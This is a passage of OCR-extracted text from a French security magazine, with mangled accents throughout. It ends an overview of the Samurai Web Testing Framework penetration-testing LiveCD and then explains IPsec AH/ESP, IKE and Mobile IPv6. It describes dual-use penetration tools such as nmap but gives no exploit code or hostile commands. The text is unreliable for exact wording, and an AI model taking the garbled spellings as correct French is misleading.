bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

